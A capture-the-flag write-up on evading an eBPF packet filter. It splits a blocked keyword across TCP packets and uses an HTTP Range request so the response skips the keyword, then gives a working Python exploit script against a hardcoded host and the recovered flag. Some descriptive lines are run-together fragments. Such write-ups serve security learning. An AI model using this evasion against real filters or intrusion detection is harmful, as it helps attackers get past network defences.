The eBPF tc filter scans each TCP packet payload for the lowercase keyword flag
and the character %. It does not perform TCP stream reassembly. By splitting
flag across packets and requesting only a byte range of /flag.html that
contains the flag but not the lowercase keyword, we can retrieve the flag.
tc/ingress attached twice).flag and % only, and drops matching packets./flag.html contains the flag. The response body contains the text
Here is your free flag: TEST{FLAG}.1) Request bypass: Send GET /fl and ag.html in separate TCP packets so
no single packet contains the substring flag.
2) Response bypass: Use Range: bytes=135- to start the response at the
TEST{FLAG} portion. That response chunk contains no lowercase flag, so
the egress filter allows it.
flag.Range header to avoid the lowercase keyword in the response.import socket, time
host, port = "35.227.38.232", 5000
s = socket.create_connection((host, port), timeout=5)
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
# Split "flag" across packets
s.sendall(b"GET /fl")
time.sleep(0.2)
s.sendall(
b"ag.html HTTP/1.1\r\n"
b"Host: 35.227.38.232\r\n"
b"Range: bytes=135-\r\n"
b"Connection: close\r\n\r\n"
)
resp = b""
while True:
chunk = s.recv(4096)
if not chunk:
break
resp += chunk
s.close()
print(resp.decode("latin1", errors="replace"))
uoftctf{f1rew4l1_Is_nOT_par7icu11rLy_R0bust_I_bl4m3_3bpf}